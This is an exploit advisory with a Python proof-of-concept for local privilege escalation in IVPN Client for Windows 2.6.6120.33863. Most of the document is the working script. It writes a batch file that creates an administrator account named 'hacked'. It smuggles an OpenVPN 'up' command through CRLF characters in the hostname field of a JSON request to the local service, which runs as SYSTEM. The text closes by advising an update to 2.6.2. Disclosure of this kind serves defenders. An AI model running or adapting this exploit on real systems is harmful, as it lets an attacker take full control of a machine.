IVPN Client 2.6.1 – Local Privilege Escalation
# Exploit IVPN Client for Windows 2.6.6120.33863 Privilege Escalation # Date: 06.02.2017 # Software Link: https://www.ivpn.net/ # Exploit Author: Kacper Szurek # Contact: https://twitter.com/KacperSzurek # Website: https://security.szurek.pl/ # Category: local 1. Description It is possible to run `openvpn` as `SYSTEM` with custom openvpn.conf. Using `--up cmd` we can execute any command. https://security.szurek.pl/ivpn-client-for-windows-26612033863-privilege-escalation.html 2. Proof of Concept import socket print "IVPN Client for Windows 2.6.6120.33863 Privilege Escalation" print "by Kacper Szurek" print "http://security.szurek.pl/" print "https://twitter.com/KacperSzurek" hostname = "is.gw.ivpn.net 2049" username = "your_username" password = "your_password" open(r'c:\\1\\test.bat', 'w').write('net user hacked /add\nnet localgroup administrators hacked /add') port = int(open(r"c:\Program Files\IVPN Client\etc\port.txt").read()) a = r'{"$type":"IVPN.OpenVPNServer, IVPN.Core","id":"id","region":"region","country":"country","city":"city","hostnames":{"$type":"System.Collections.Generic.List`1[[System.String, mscorlib]], mscorlib","$values":["'+hostname+r'\r\nup c:\\\\\\\\1\\\\\\\\test.bat\r\nverb"]},"ports":{"$type":"System.Collections.Generic.List`1[[IVPN.OpenVPNServerPort, IVPN.Core]], mscorlib","$values":[{"$type":"IVPN.OpenVPNServerPort, IVPN.Core","protocol":1,"port":2000}]}}' b = r'{"$type":"IVPN.IVPNConnectRequest, IVPN.Core","entryServer":'+a+',"exitServer":'+a+',"username":"'+username+'","password":"'+password+'","portProtocol":{"$type":"IVPN.OpenVPNServerPort, IVPN.Core","protocol":1,"port":2000},"proxyType":"sth","proxyAddress":"proxyAddress","proxyPort":100,"proxyUsername":"proxyUsername","proxyPassword":"proxyPassword"}' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1", port)) s.send(b) print "OK" 3. Solution Update to version 2.6.2 https://www.ivpn.net/setup/windows-changelog.html |